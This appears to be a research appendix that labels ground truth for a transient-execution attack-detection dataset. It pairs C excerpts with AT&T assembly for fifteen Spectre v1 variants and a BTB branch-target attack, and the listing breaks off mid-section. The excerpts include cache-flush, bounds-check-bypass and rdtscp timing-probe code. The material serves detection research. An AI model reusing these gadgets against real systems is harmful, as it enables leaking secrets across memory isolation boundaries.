Groundtruth

1. Method of labeling groundtruth

To label ground truth in our baseline attack datasets, we first extract static assembly codes of the attack programs in the datasets. By carefully analysis of these assembly codes, we manually label principled clues and related instructions that represent TEA scenarios, called labeled clues and labeled instructions respectively. Particularly, the labelling needs to ensure that these clues can fully express the behavior of each behavioural step in the Canella TEA abstraction with as few instructions as possible for concise description of the attack scenarios. Then, we use these labeled clues to match principled clues and related instructions in the instruction execution traces of the attack programs as dynamic labeled clues and dynamic labeled instructions respectively.

.

2. Groundtruth for attack dataset

2.1. K1: Original Spectre v1

2.1.1. Key attack operations in a C/C++ source code

```
for (i = 0; i < 256; i++)
      _mm_clflush( & array2[i * 512]);                          /* Step 1 */
…
void victim_function(size_t x) {
      if (x < array1_size) {                                    /* Step 2 */
            temp &= array2[array1[x] * 512];                    /* Step 3 */
   }
}
…
for (i = 0; i < 256; i++) {
      mix_i = ((i * 167) + 13) & 255;
      addr = & array2[mix_i * 512];
      time1 = __rdtscp( & junk);                                /* Step 4 */
      junk = * addr;                                            /* Step 4 */
      time2 = __rdtscp( & junk) - time1;                        /* Step 4 */
      if (time2 <= CACHE_HIT_THRESHOLD
            && mix_i != array1[tries % array1_size])
```

```
        results[mix_i]++;
}
```

2.1.2. Groundtruth of the attack steps in the AT&T assembly code

Step 1:

```
clflush (%rax)
```

Step 2:

```
mov     0x200a9b(%rip),%eax          # 601060 <array1_size>
mov     %eax,%eax
cmp     %rax,-0x8(%rbp)
jae     4005f8 <victim_function+0x41>
```

Step 3:

```
mov     -0x8(%rbp),%rax
add     $0x601080,%rax
movzbl (%rax),%eax
movzbl %al,%eax
shl     $0x9,%eax
cltq
movzbl 0x6015c0(%rax),%edx
movzbl 0x200b70(%rip),%eax
and     %edx,%eax
mov     :%al,0x200b68(%rip)
```

Step 4:

```
rdtscp
mov     %ecx,%esi
mov     -0x58(%rbp),%rcx
mov     %esi,(%rcx)
shl     $0x20,%rdx
or      %rdx,%rax
mov     %rax,%rbx
mov     -0x30(%rbp),%rax
movzbl (%rax),%eax
movzbl %al,%eax
mov     %eax,-0x5c(%rbp)
lea     -0x5c(%rbp),%rax
mov     %rax,-0x50(%rbp)
rdtscp
```

2.2. K2: Inlined Local Function

2.2.1. Key attack operations in a C/C++ source code

```
for (i = 0; i < 256; i++)
      _mm_clflush( & array2[i * 512]);                              /* Step 1 */
…
void leakByteLocalFunction(uint8_t k) { temp &= array2[(k)* 512]; }    /* Step 3 */
void victim_function(size_t x) {
      if (x < array1_size) {                                        /* Step 2 */
            leakByteLocalFunction(array1[x]);                       /* Step 3 */
   }
}
…
for (i = 0; i < 256; i++) {
      mix_i = ((i * 167) + 13) & 255;
      addr = & array2[mix_i * 512];
      time1 = __rdtscp( & junk);                                    /* Step 4 */
      junk = * addr;                                                /* Step 4 */
      time2 = __rdtscp( & junk) - time1;                            /* Step 4 */
      if (time2 <= CACHE_HIT_THRESHOLD
            && mix_i != array1[tries % array1_size])
            results[mix_i]++;
}
```

2.2.2. Groundtruth of the attack steps in the AT&T assembly code

Step 1:

```
clflush (%rax)
```

Step 2:

```
mov      0x201a6c(%rip),%eax          # 602060 <array1_size>
mov      %eax,%eax
cmp      %rax,-0x8(%rbp)
jae      400613 <victim_function+0x31>
```

Step 3:

```
mov      -0x8(%rbp),%rax
add      $0x602080,%rax
```

```
movzbl (%rax),%eax
movzbl %al,%eax
mov      %eax,%edi
callq    4005b7 <leakByteLocalFunction>
push     %rbp
mov      %rsp,%rbp
mov      %edi,%eax
mov      %al,-0x4(%rbp)
movzbl -0x4(%rbp),%eax
shl      $0x9,%eax
cltq
movzbl 0x6025c0(%rax),%edx
movzbl 0x201b89(%rip),%eax              # 602160 <temp>
and      %edx,%eax
mov      %al,0x201b81(%rip)             # 602160 <temp>
nop
pop      %rbp
retq
```

Step 4:

```
rdtscp
mov      %ecx,%esi
mov      -0x58(%rbp),%rcx
mov      %esi,(%rcx)
shl      $0x20,%rdx
or       %rdx,%rax
mov      %rax,%rbx
mov      -0x30(%rbp),%rax
movzbl (%rax),%eax
movzbl %al,%eax
mov      %eax,-0x5c(%rbp)
lea      -0x5c(%rbp),%rax
mov      %rax,-0x50(%rbp)
rdtscp
```

2.3. K3: Local Function that cannot be Inlined

2.3.1. Key attack operations in a C/C++ source code

```
for (i = 0; i < 256; i++)
    _mm_clflush( & array2[i * 512]);                    /* Step 1 */
```

```
…
#if defined(__clang__) || defined(_MSC_VER)
__declspec(noinline) void leakByteNoinlineFunction(uint8_t k) {          /* Step 3 */
        temp &= array2[(k)* 512];                                        /* Step 3 */
   }                                                                     /* Step 3 */
#elif defined(__GNUC__) || defined(__GNUG__)
void __attribute ((noinline)) leakByteNoinlineFunction(uint8_t k) {      /* Step 3 */
      temp &= array2[(k)* 512];                                          /* Step 3 */
  }                                                                      /* Step 3 */
#endif
void victim_function(size_t x) {
      if (x < array1_size) {                                             /* Step 2 */
            leakByteNoinlineFunction(array1[x]);                         /* Step 3 */
   }
}
…
for (i = 0; i < 256; i++) {
      mix_i = ((i * 167) + 13) & 255;
      addr = & array2[mix_i * 512];
      time1 = __rdtscp( & junk);                                         /* Step 4 */
      junk = * addr;                                                     /* Step 4 */
      time2 = __rdtscp( & junk) - time1;                                 /* Step 4 */
      if (time2 <= CACHE_HIT_THRESHOLD
            && mix_i != array1[tries % array1_size])
            results[mix_i]++;
}
```

2.3.2. Groundtruth of the attack steps in the AT&T assembly code

Step 1:

```
clflush (%rax)
```

Step 2:

```
mov      0x201a6c(%rip),%eax          # 602060 <array1_size>
mov      %eax,%eax
cmp      %rax,-0x8(%rbp)
jae      400613 <victim_function+0x31>
```

Step 3:

```
mov      -0x8(%rbp),%rax
add      $0x602080,%rax
movzbl (%rax),%eax
```

```
movzbl %al,%eax
mov      %eax,%edi
callq   4005b7 <leakByteNoinlineFunction>
push     %rbp
mov      %rsp,%rbp
mov      %edi,%eax
mov      %al,-0x4(%rbp)
movzbl -0x4(%rbp),%eax
shl      $0x9,%eax
cltq
movzbl 0x6025c0(%rax),%edx
movzbl 0x201b89(%rip),%eax              # 602160 <temp>
and      %edx,%eax
mov      %al,0x201b81(%rip)             # 602160 <temp>
nop
pop      %rbp
retq
```

Step 4:

```
rdtscp
mov      %ecx,%esi
mov      -0x58(%rbp),%rcx
mov      %esi,(%rcx)
shl      $0x20,%rdx
or       %rdx,%rax
mov      %rax,%rbx
mov      -0x30(%rbp),%rax
movzbl (%rax),%eax
movzbl %al,%eax
mov      %eax,-0x5c(%rbp)
lea      -0x5c(%rbp),%rax
mov      %rax,-0x50(%rbp)
rdtscp
```

2.4. K4: Index Shift

2.4.1. Key attack operations in a C/C++ source code

```
for (i = 0; i < 256; i++)
      _mm_clflush( & array2[i * 512]);                    /* Step 1 */
…
```

```
void victim_function(size_t x) {
      if (x < array1_size) {                                    /* Step 2 */
          temp &= array2[array1[x << 1] * 512];                 /* Step 3 */
   }
}
…
for (i = 0; i < 256; i++) {
      mix_i = ((i * 167) + 13) & 255;
      addr = & array2[mix_i * 512];
      time1 = __rdtscp( & junk);                                /* Step 4 */
      junk = * addr;                                            /* Step 4 */
      time2 = __rdtscp( & junk) - time1;                        /* Step 4 */
      if (time2 <= CACHE_HIT_THRESHOLD
              && mix_i != array1[tries % array1_size])
          results[mix_i]++;
}
```

2.4.2. Groundtruth of the attack steps in the AT&T assembly code

Step 1:

```
clflush (%rax)
```

Step 2:

```
mov      0x200a9b(%rip),%eax          # 602060 <array1_size>
mov      %eax,%eax
cmp      %rax,-0x8(%rbp)
jae      4005fa <victim_function+0x43>
```

Step 3:

```
mov      -0x8(%rbp),%rax
and      $0xfffffffffffffffe,%rax
movzbl 0x601080(%rax),%eax
movzbl %al,%eax
shl      $0x9,%eax
cltq
movzbl 0x6015c0(%rax),%edx
movzbl 0x200b6e(%rip),%eax            # 601160 <temp>
and      %edx,%eax
mov      %al,0x200b66(%rip)           # 601160 <temp>
```

Step 4:

```
rdtscp
```

```
mov       %ecx,%esi
mov       -0x58(%rbp),%rcx
mov       %esi,(%rcx)
shl       $0x20,%rdx
or        %rdx,%rax
mov       %rax,%rbx
mov       -0x30(%rbp),%rax
movzbl (%rax),%eax
movzbl %al,%eax
mov       %eax,-0x5c(%rbp)
lea       -0x5c(%rbp),%rax
mov       %rax,-0x50(%rbp)
rdtscp
```

2.5. K5: For Loop

2.5.1. Key attack operations in a C/C++ source code

```
for (i = 0; i < 256; i++)
      _mm_clflush( & array2[i * 512]);                          /* Step 1 */
…
void victim_function(size_t x) {
   int i,j=1;
   if (x < array1_size) {                                       /* Step 2 */
            for (i = x-1; i >= 0, j>=0; i--,j--)                /* Step 3 */
               temp &= array2[array1[i] * 512];                 /* Step 3 */
   }
}
…
for (i = 0; i < 256; i++) {:
      mix_i = ((i * 167) + 13) & 255;
      addr = & array2[mix_i * 512];
      time1 = __rdtscp( & junk);                                /* Step 4 */
      junk = * addr;                                            /* Step 4 */
      time2 = __rdtscp( & junk) - time1;                        /* Step 4 */
      if (time2 <= CACHE_HIT_THRESHOLD
            && mix_i != array1[tries % array1_size])
         results[mix_i]++;
}
```

2.5.2. Groundtruth of the attack steps in the AT&T assembly code

Step 1:

```
clflush (%rax)
```

Step 2:

```
mov     0x200a94(%rip),%eax          # 601060 <array1_size>
mov     %eax,%eax
cmp     %rax,-0x18(%rbp)
jae     400618 <victim_function+0x61>
```

Step 3:

```
mov     -0x18(%rbp),%rax
sub     $0x1,%eax
mov     %eax,-0x4(%rbp)
jmp     400612 <victim_function+0x5b>
mov     -0x4(%rbp),%eax
cltq
movzbl 0x601080(%rax),%eax
movzbl %al,%eax
shl     $0x9,%eax
cltq
movzbl 0x6015c0(%rax),%edx
movzbl 0x200b5e(%rip),%eax          # 601160 <temp>
and     %edx,%eax
mov     %al,0x200b56(%rip)          # 601160 <temp>
subl    $0x1,-0x4(%rbp)
subl    $0x1,-0x8(%rbp)
cmpl    $0x0,-0x8(%rbp)
jns     4005e0 <victim_function+0x29>
```

Step 4:

```
rdtscp
mov     %ecx,%esi
mov     -0x58(%rbp),%rcx
mov     %esi,(%rcx)
shl     $0x20,%rdx
or      %rdx,%rax
mov     %rax,%rbx
mov     -0x30(%rbp),%rax
movzbl (%rax),%eax
movzbl %al,%eax
mov     %eax,-0x5c(%rbp)
```

```
lea      -0x5c(%rbp),%rax
mov       %rax,-0x50(%rbp)
rdtscp
```

2.6. K6: And Mask

2.6.1. Key attack operations in a C/C++ source code

```
for (i = 0; i < 256; i++)
      _mm_clflush( & array2[i * 512]);                    /* Step 1 */
…
void victim_function(size_t x) {
   if ((x & array_size_mask) == x)                        /* Step 2 */
        temp &= array2[array1[x] * 512];                  /* Step 3 */
}
…
for (i = 0; i < 256; i++) {:
      mix_i = ((i * 167) + 13) & 255;
      addr = & array2[mix_i * 512];
      time1 = __rdtscp( & junk);                          /* Step 4 */
      junk = * addr;                                      /* Step 4 */
      time2 = __rdtscp( & junk) - time1;                  /* Step 4 */
      if (time2 <= CACHE_HIT_THRESHOLD
            && mix_i != array1[tries % array1_size])
          results[mix_i]++;
}
```

2.6.2. Groundtruth of the attack steps in the AT&T assembly code

Step 1:

```
clflush (%rax)
```

Step 2:

```
mov      0x200a9f(%rip),%eax        # 601064 <array_size_mask>
mov      %eax,%eax
and      -0x8(%rbp),%rax
cmp      %rax,-0x8(%rbp)
jne      4005fc <victim_function+0x45>
```

Step 3:

```
mov       -0x8(%rbp),%rax
add       $0x601080,%rax
movzbl (%rax),%eax
movzbl %al,%eax
shl       $0x9,%eax
cltq
movzbl 0x6015c0(%rax),%edx
movzbl 0x200b63(%rip),%eax              # 601160 <temp>
and       %edx,%eax
mov       %al,0x200b5b(%rip)            # 601160 <temp>
```

Step 4:

```
rdtscp
mov       %ecx,%esi
mov       -0x58(%rbp),%rcx
mov       %esi,(%rcx)
shl       $0x20,%rdx
or        %rdx,%rax
mov       %rax,%rbx
mov       -0x30(%rbp),%rax
movzbl (%rax),%eax
movzbl %al,%eax
mov       %eax,-0x5c(%rbp)
lea       -0x5c(%rbp),%rax
mov       %rax,-0x50(%rbp)
rdtscp
```

2.7. K7: Last Known-good Value

2.7.1. Key attack operations in a C/C++ source code

```
for (i = 0; i < 256; i++)
      _mm_clflush( & array2[i * 512]);                    /* Step 1 */
…
void victim_function(size_t x) {
   static size_t last_x = 0;
   if (x == last_x)                                       /* Step 2 */
         temp &= array2[array1[x] * 512];                 /* Step 3 */
   if (x < array1_size)
         last_x = x;
}
```

```
…
for (i = 0; i < 256; i++) {:
      mix_i = ((i * 167) + 13) & 255;
      addr = & array2[mix_i * 512];
      time1 = __rdtscp( & junk);                                  /* Step 4 */
      junk = * addr;                                              /* Step 4 */
      time2 = __rdtscp( & junk) - time1;                          /* Step 4 */
      if (time2 <= CACHE_HIT_THRESHOLD
            && mix_i != array1[tries % array1_size])
          results[mix_i]++;
}
```

2.7.2. Groundtruth of the attack steps in the AT&T assembly code

Step 1:

```
clflush (%rax)
```

Step 2:

```
mov      0x200ba2(%rip),%rax          # 601168 <last_x.23441>
cmp      %rax,-0x8(%rbp)
jne      4005f7 <victim_function+0x40>
```

Step 3:

```
mov      -0x8(%rbp),%rax
add      $0x601080,%rax
movzbl (%rax),%eax
movzbl %al,%eax
shl      $0x9,%eax
cltq
movzbl 0x6015c0(%rax),%edx
movzbl 0x200b71(%rip),%eax          # 601160 <temp>
and      %edx,%eax
mov      %al,0x200b69(%rip)         # 601160 <temp>
```

Step 4:

```
rdtscp
mov      %ecx,%esi
mov      -0x58(%rbp),%rcx
mov      %esi,(%rcx)
shl      $0x20,%rdx
or       %rdx,%rax
mov      %rax,%rbx
```

```
mov       -0x30(%rbp),%rax
movzbl (%rax),%eax
movzbl %al,%eax
mov       %eax,-0x5c(%rbp)
lea       -0x5c(%rbp),%rax
mov       %rax,-0x50(%rbp)
rdtscp
```

2.8. K8: ?: Operator

2.8.1. Key attack operations in a C/C++ source code

```
for (i = 0; i < 256; i++)
      _mm_clflush( & array2[i * 512]);                          /* Step 1 */
…
void victim_function(size_t x) {
      temp&=array2[array1[x<array1_size?(x+1):0]*512];          /* Step 2, 3*/
}
…
for (i = 0; i < 256; i++) {:
      mix_i = ((i * 167) + 13) & 255;
      addr = & array2[mix_i * 512];
      time1 = __rdtscp( & junk);                                /* Step 4 */
      junk = * addr;                                            /* Step 4 */
      time2 = __rdtscp( & junk) - time1;                        /* Step 4 */
      if (time2 <= CACHE_HIT_THRESHOLD
            && mix_i != array1[tries % array1_size])
          results[mix_i]++;
}
```

2.8.2. Groundtruth of the attack steps in the AT&T assembly code

Step 1:

```
clflush (%rax)
```

Step 2:

```
mov       0x200a9b(%rip),%eax          # 601060 <array1_size>
mov       %eax,%eax
cmp       %rax,-0x8(%rbp)
```

```
jae       4005d7 <victim_function+0x20>
```

Step 3:

```
mov       -0x8(%rbp),%rax
add       $0x1,%rax
jmp       4005dc <victim_function+0x25>
mov       $0x0,%eax
movzbl 0x601080(%rax),%eax
movzbl %al,%eax
shl       $0x9,%eax
cltq
movzbl 0x6015c0(%rax),%edx
movzbl 0x200b67(%rip),%eax              # 601160 <temp>
and       %edx,%eax
mov       %al,0x200b5f(%rip)            # 601160 <temp>
```

Step 4:

```
rdtscp
mov       %ecx,%esi
mov       -0x58(%rbp),%rcx
mov       %esi,(%rcx)
shl       $0x20,%rdx
or        %rdx,%rax
mov       %rax,%rbx
mov       -0x30(%rbp),%rax
movzbl (%rax),%eax
movzbl %al,%eax
mov       %eax,-0x5c(%rbp)
lea       -0x5c(%rbp),%rax
mov       %rax,-0x50(%rbp)
rdtscp
```

2.9. K9: Separate Value

2.9.1. Key attack operations in a C/C++ source code

```
for (i = 0; i < 256; i++)
      _mm_clflush( & array2[i * 512]);                    /* Step 1 */
…
void victim_function(size_t x, int *x_is_safe){
```

```
    if (*x_is_safe) {                                          /* Step 2*/
        temp &= array2[array1[x] * 512];                       /* Step 3*/
    }
}
…
for (i = 0; i < 256; i++) {:
    mix_i = ((i * 167) + 13) & 255;
    addr = & array2[mix_i * 512];
    time1 = __rdtscp( & junk);                                 /* Step 4 */
    junk = * addr;                                             /* Step 4 */
    time2 = __rdtscp( & junk) - time1;                         /* Step 4 */
    if (time2 <= CACHE_HIT_THRESHOLD
            && mix_i != array1[tries % array1_size])
        results[mix_i]++;
}
```

2.9.2. Groundtruth of the attack steps in the AT&T assembly code

Step 1:

```
clflush (%rax)
```

Step 2:

```
mov      -0x10(%rbp),%rax
mov      (%rax),%eax
test     %eax,%eax
je       4005f8 <victim_function+0x41>
```

Step 3:

```
mov      -0x8(%rbp),%rax
add      $0x601080,%rax
movzbl (%rax),%eax
movzbl %al,%eax
shl      $0x9,%eax
cltq
movzbl 0x6015c0(%rax),%edx
movzbl 0x200b70(%rip),%eax          # 601160 <temp>
and      %edx,%eax
mov      %al,0x200b68(%rip)         # 601160 <temp>
```

Step 4:

```
rdtscp
mov      %ecx,%esi
```

```
mov       -0x58(%rbp),%rcx
mov       %esi,(%rcx)
shl       $0x20,%rdx
or        %rdx,%rax
mov       %rax,%rbx
mov       -0x30(%rbp),%rax
movzbl (%rax),%eax
movzbl %al,%eax
mov       %eax,-0x5c(%rbp)
lea       -0x5c(%rbp),%rax
mov       %rax,-0x50(%rbp)
rdtscp
```

2.10. K10: Comparison Result Leakage

2.10.1. Key attack operations in a C/C++ source code

```
for (i = 0; i < 256; i++)
      _mm_clflush( & array2[i * 512]);                          /* Step 1 */
…
void victim_function(size_t x, uint8_t k){
   if (x < array1_size) {                                       /*Step 2*/
         if (array1[x] == k)                                    /* Step 3*/
               temp &= array2[0];                               /* Step 3*/
   }
}
…
for (i = 0; i < 256; i++) {:
      mix_i = ((i * 167) + 13) & 255;
      addr = & array2[mix_i * 512];
      time1 = __rdtscp( & junk);                                /* Step 4 */
      junk = * addr;                                            /* Step 4 */
      time2 = __rdtscp( & junk) - time1;                        /* Step 4 */
      if (time2 <= CACHE_HIT_THRESHOLD
               && mix_i != array1[tries % array1_size])
            results[mix_i]++;
}
```

2.10.2. Groundtruth of the attack steps in the AT&T assembly code

Step 1:

```
clflush (%rax)
```

Step 2:

```
mov      0x200a96(%rip),%eax          # 601060 <array1_size>
mov      %eax,%eax
cmp      %rax,-0x8(%rbp)
jae      4005fa <victim_function+0x43>
```

Step 3:

```
mov      -0x8(%rbp),%rax
add      $0x601080,%rax
movzbl (%rax),%eax
cmp      %al,-0xc(%rbp)
jne      4005fa <victim_function+0x43>
movzbl 0x200fd5(%rip),%edx            # 6015c0 <array2>
movzbl 0x200b6e(%rip),%eax            # 601160 <temp>
and      %edx,%eax
mov      %al,0x200b66(%rip)           # 601160 <temp>
```

Step 4:

```
rdtscp
mov      %ecx,%esi
mov      -0x58(%rbp),%rcx
mov      %esi,(%rcx)
shl      $0x20,%rdx
or       %rdx,%rax
mov      %rax,%rbx
mov      -0x30(%rbp),%rax
movzbl (%rax),%eax
movzbl %al,%eax
mov      %eax,-0x5c(%rbp)
lea      -0x5c(%rbp),%rax
mov      %rax,-0x50(%rbp)
rdtscp
```

2.11. K11: Memcmp Operator

2.11.1. Key attack operations in a C/C++ source code

```
for (i = 0; i < 256; i++)
      _mm_clflush( & array2[i * 512]);                          /* Step 1 */
…
void victim_function(size_t x){
   if (x < array1_size) {                                       /*Step 2*/
         temp=memcmp(&temp,array2+(array1[x]*512),1);           /* Step 3*/
   }
}
…
for (i = 0; i < 256; i++) {:
      mix_i = ((i * 167) + 13) & 255;
      addr = & array2[mix_i * 512];
      time1 = __rdtscp( & junk);                                /* Step 4 */
      junk = * addr;                                            /* Step 4 */
      time2 = __rdtscp( & junk) - time1;                        /* Step 4 */
      if (time2 <= CACHE_HIT_THRESHOLD
            && mix_i != array1[tries % array1_size])
         results[mix_i]++;
}
```

2.11.2. Groundtruth of the attack steps in the AT&T assembly code

Step 1:

```
clflush (%rax)
```

Step 2:

```
mov      0x200a9b(%rip),%eax          # 601060 <array1_size>
mov      %eax,%eax
cmp      %rax,-0x8(%rbp)
jae      4005fd <victim_function+0x46>
```

Step 3:

```
mov      $0x601160,%eax
movzbl (%rax),%edx
mov      -0x8(%rbp),%rax
add      $0x601080,%rax
movzbl (%rax),%eax
```

```
movzbl %al,%eax
shl      $0x9,%eax
cltq
add      $0x6015c0,%rax
movzbl (%rax),%eax
sub      %eax,%edx
mov      %edx,%eax
mov      %al,0x200b63(%rip)            # 601160 <temp>
```

Step 4:

```
rdtscp
mov      %ecx,%esi
mov      -0x58(%rbp),%rcx
mov      %esi,(%rcx)
shl      $0x20,%rdx
or       %rdx,%rax
mov      %rax,%rbx
mov      -0x30(%rbp),%rax
movzbl (%rax),%eax
movzbl %al,%eax
mov      %eax,-0x5c(%rbp)
lea      -0x5c(%rbp),%rax
mov      %rax,-0x50(%rbp)
rdtscp
```

2.12. K12: Sum Operator

2.12.1. Key attack operations in a C/C++ source code

```
for (i = 0; i < 256; i++)
      _mm_clflush( & array2[i * 512]);                    /* Step 1 */
…
void victim_function(size_t x, size_t y){
   if ((x + y) < array1_size)                             /*Step 2*/
         temp &= array2[array1[x + y] * 512];             /* Step 3*/
}
…
for (i = 0; i < 256; i++) {:
      mix_i = ((i * 167) + 13) & 255;
      addr = & array2[mix_i * 512];
      time1 = __rdtscp( & junk);                         /* Step 4 */
      junk = * addr;                                     /* Step 4 */
```

```
        time2 = __rdtscp( & junk) - time1;                    /* Step 4 */
        if (time2 <= CACHE_HIT_THRESHOLD
                && mix_i != array1[tries % array1_size])
            results[mix_i]++;
}
```

2.12.2. Groundtruth of the attack steps in the AT&T assembly code

Step 1:

```
clflush (%rax)
```

Step 2:

```
mov      -0x8(%rbp),%rdx
mov      -0x10(%rbp),%rax
add      %rdx,%rax
mov      0x200a8c(%rip),%edx          # 601060 <array1_size>
mov      %edx,%edx
cmp      %rdx,%rax
jae      40060b <victim_function+0x54>
```

Step 3:

```
mov      -0x8(%rbp),%rdx
mov      -0x10(%rbp),%rax
add      %rdx,%rax
movzbl 0x601080(%rax),%eax
movzbl %al,%eax
shl      $0x9,%eax
cltq
movzbl 0x6015c0(%rax),%edx
movzbl 0x200b5d(%rip),%eax          # 601160 <temp>
and      %edx,%eax
mov      %al,0x200b55(%rip)         # 601160 <temp>
```

Step 4:

```
rdtscp
mov      %ecx,%esi
mov      -0x58(%rbp),%rcx
mov      %esi,(%rcx)
shl      $0x20,%rdx
or       %rdx,%rax
mov      %rax,%rbx
mov      -0x30(%rbp),%rax
```

```
movzbl (%rax),%eax
movzbl %al,%eax
mov      %eax,-0x5c(%rbp)
lea      -0x5c(%rbp),%rax
mov      %rax,-0x50(%rbp)
rdtscp
```

2.13. K13: Safety Check with an Inline Function

2.13.1. Key attack operations in a C/C++ source code

```
for (i = 0; i < 256; i++)
      _mm_clflush( & array2[i * 512]);                          /* Step 1 */
…
inline static int is_x_safe (size_t x) {                        /*Step 2*/
   if (x < array1_size) return 1; return 0;                     /*Step 2*/
}                                                               /*Step 2*/
void victim_function(size_t x){
         if (is_x_safe(x))                                      /*Step 2*/
               temp &= array2[array1[x] * 512];                 /* Step 3*/
}
…
for (i = 0; i < 256; i++) {:
      mix_i = ((i * 167) + 13) & 255;
      addr = & array2[mix_i * 512];
      time1 = __rdtscp( & junk);                                /* Step 4 */
      junk = * addr;                                            /* Step 4 */
      time2 = __rdtscp( & junk) - time1;                        /* Step 4 */
      if (time2 <= CACHE_HIT_THRESHOLD
               && mix_i != array1[tries % array1_size])
            results[mix_i]++;
}
```

2.13.2. Groundtruth of the attack steps in the AT&T assembly code

Step 1:

```
clflush (%rax)
```

Step 2:

```
mov      0x201a9b(%rip),%eax          # 602060 <array1_size>
```

```
mov      %eax,%eax
cmp      %rax,-0x8(%rbp)
jae      4005d4 <is_x_safe+0x1d>
```

Step 3:

```
mov      $0x1,%eax
jmp      4005d9 <is_x_safe+0x22>
pop      %rbp
retq
test     %eax,%eax
je       400622 <victim_function+0x47>
mov      -0x18(%rbp),%rax
add      $0x602080,%rax
movzbl (%rax),%eax
movzbl %al,%eax
shl      $0x9,%eax
cltq
movzbl 0x6025c0(%rax),%edx
movzbl 0x201b26(%rip),%eax          # 602160 <temp>
and      %edx,%eax
mov      %al,0x201b1e(%rip)         # 602160 <temp>
```

Step 4:

```
rdtscp
mov      %ecx,%esi
mov      -0x58(%rbp),%rcx
mov      %esi,(%rcx)
shl      $0x20,%rdx
or       %rdx,%rax
mov      %rax,%rbx
mov      -0x30(%rbp),%rax
movzbl (%rax),%eax
movzbl %al,%eax
mov      %eax,-0x5c(%rbp)
lea      -0x5c(%rbp),%rax
mov      %rax,-0x50(%rbp)
rdtscp
```

2.14. K14: Inverting Low Bits of the Index

2.14.1. Key attack operations in a C/C++ source code

```
for (i = 0; i < 256; i++)
      _mm_clflush( & array2[i * 512]);                          /* Step 1 */
…
void victim_function(size_t x){
   if (x < array1_size) {                                       /*Step 2*/
         temp &= array2[array1[x ^ 255] * 512];                 /* Step 3*/
   }
}
…
for (i = 0; i < 256; i++) {:
      mix_i = ((i * 167) + 13) & 255;
      addr = & array2[mix_i * 512];
      time1 = __rdtscp( & junk);                                /* Step 4 */
      junk = * addr;                                            /* Step 4 */
      time2 = __rdtscp( & junk) - time1;                        /* Step 4 */
      if (time2 <= CACHE_HIT_THRESHOLD
            && mix_i != array1[tries % array1_size])
         results[mix_i]++;
}
```

2.14.2. Groundtruth of the attack steps in the AT&T assembly code

Step 1:

```
clflush (%rax)
```

Step 2:

```
mov      0x200a9b(%rip),%eax          # 601060 <array1_size>
mov      %eax,%eax
cmp      %rax,-0x8(%rbp)
jae      4005fa <victim_function+0x43>
```

Step 3:

```
mov      -0x8(%rbp),%rax
xor      $0x1,%rax
movzbl 0x601080(%rax),%eax
movzbl %al,%eax
shl      $0x9,%eax
```

```
cltq
movzbl 0x6015c0(%rax),%edx
movzbl 0x200b6e(%rip),%eax              # 601160 <temp>
and      %edx,%eax
mov      %al,0x200b66(%rip)             # 601160 <temp>
```

Step 4:

```
rdtscp
mov      %ecx,%esi
mov      -0x58(%rbp),%rcx
mov      %esi,(%rcx)
shl      $0x20,%rdx
or       %rdx,%rax
mov      %rax,%rbx
mov      -0x30(%rbp),%rax
movzbl (%rax),%eax
movzbl %al,%eax
mov      %eax,-0x5c(%rbp)
lea      -0x5c(%rbp),%rax
mov      %rax,-0x50(%rbp)
rdtscp
```

2.15. K15: Passing a Pointer

2.15.1. Key attack operations in a C/C++ source code

```
for (i = 0; i < 256; i++)
      _mm_clflush( & array2[i * 512]);                    /* Step 1 */
…
void victim_function(size_t *x){
   if (*x < array1_size) {                                /*Step 2*/
         temp &= array2[array1[*x] * 512];                /* Step 3*/
   }
}
…
for (i = 0; i < 256; i++) {:
      mix_i = ((i * 167) + 13) & 255;
      addr = & array2[mix_i * 512];
      time1 = __rdtscp( & junk);                          /* Step 4 */
      junk = * addr;                                      /* Step 4 */
      time2 = __rdtscp( & junk) - time1;                  /* Step 4 */
      if (time2 <= CACHE_HIT_THRESHOLD
```

```
                && mix_i != array1[tries % array1_size])
            results[mix_i]++;
}
```

2.15.2. Groundtruth of the attack steps in the AT&T assembly code

Step 1:

```
clflush (%rax)
```

Step 2:

```
mov     -0x8(%rbp),%rax
mov     (%rax),%rax
mov     0x200a94(%rip),%edx          # 601060 <array1_size>
mov     %edx,%edx
cmp     %rdx,%rax
jae     4005ff <victim_function+0x48>
```

Step 3:

```
mov     -0x8(%rbp),%rax
mov     (%rax),%rax
movzbl 0x601080(%rax),%eax
movzbl %al,%eax
shl     $0x9,%eax
cltq
movzbl 0x6015c0(%rax),%edx
movzbl 0x200b69(%rip),%eax           # 601160 <temp>
and     %edx,%eax
mov     %al,0x200b61(%rip)           # 601160 <temp>
```

Step 4:

```
rdtscp
mov     %ecx,%esi
mov     -0x50(%rbp),%rcx
mov     %esi,(%rcx)
shl     $0x20,%rdx
or      %rdx,%rax
mov     %rax,%rbx
mov     -0x30(%rbp),%rax
movzbl (%rax),%eax
movzbl %al,%eax
mov     %eax,-0x5c(%rbp)
lea     -0x5c(%rbp),%rax
```

```
mov     %rax,-0x50(%rbp)
rdtscp
```

2.16. L1: Control Memory by BTB and Branch

2.16.1. Key attack operations in a C/C++ source code

```
void jump_to_target(int idx)
{
    void (*target)(void) = targets[idx];
    target();
}

void train_then_speculatively_jump(uint64_t victim_vaddr, int guess)
{
    uint64_t selected_target_vaddr;

    for (int j = 13; j >= 0 ; j--) {
        SELECT_TARGET_VADDR(
            selected_target_vaddr, benign_vaddr, victim_vaddr, j);
…
        if (selected_target_vaddr == **benign_vaddr_ptr_ptr) {          /* Step 2*/
            jump_to_target(*((int *) selected_target_vaddr));           /* Step 3*/
        }
    }
}
…
for (int i = 0; i < 2; i++) {
  for (register int guess = 0; guess < NUM_POSSIBLE_ANSWERS; guess++) {
      train_then_speculatively_jump((uint64_t) &secret_value, guess);

      /* stall pipe to make speculation has occurred */
      for (volatile int x = 0; x < STALL_ITERS; x++) {};

          /* record time for this value */
          start_time = rdtscp();                                        /* Step 4*/
          jump_to_target(guess);                                        /* Step 4*/
          times[guess] = rdtscp() - start_time;                         /* Step 4*/
      };
    }
```

2.16.2. Groundtruth of the attack steps in the AT&T assembly code

Step 2:

```
mov      0x203a8e(%rip),%rax          # 604870 <benign_vaddr_ptr_ptr>
mov      (%rax),%rax
mov      (%rax),%rax
cmp      %rax,-0x10(%rbp)
jne      400dfb <train_then_speculatively_jump+0xbf>
```

Step 3:

```
mov      -0x10(%rbp),%rax
mov      (%rax),%eax
mov      %eax,%edi
callq    400d17 <jump_to_target>
push     %rbp
mov      %rsp,%rbp
sub      $0x20,%rsp
mov      %edi,-0x14(%rbp)
mov      -0x14(%rbp),%eax
cltq
mov      0x604060(,%rax,8),%rax
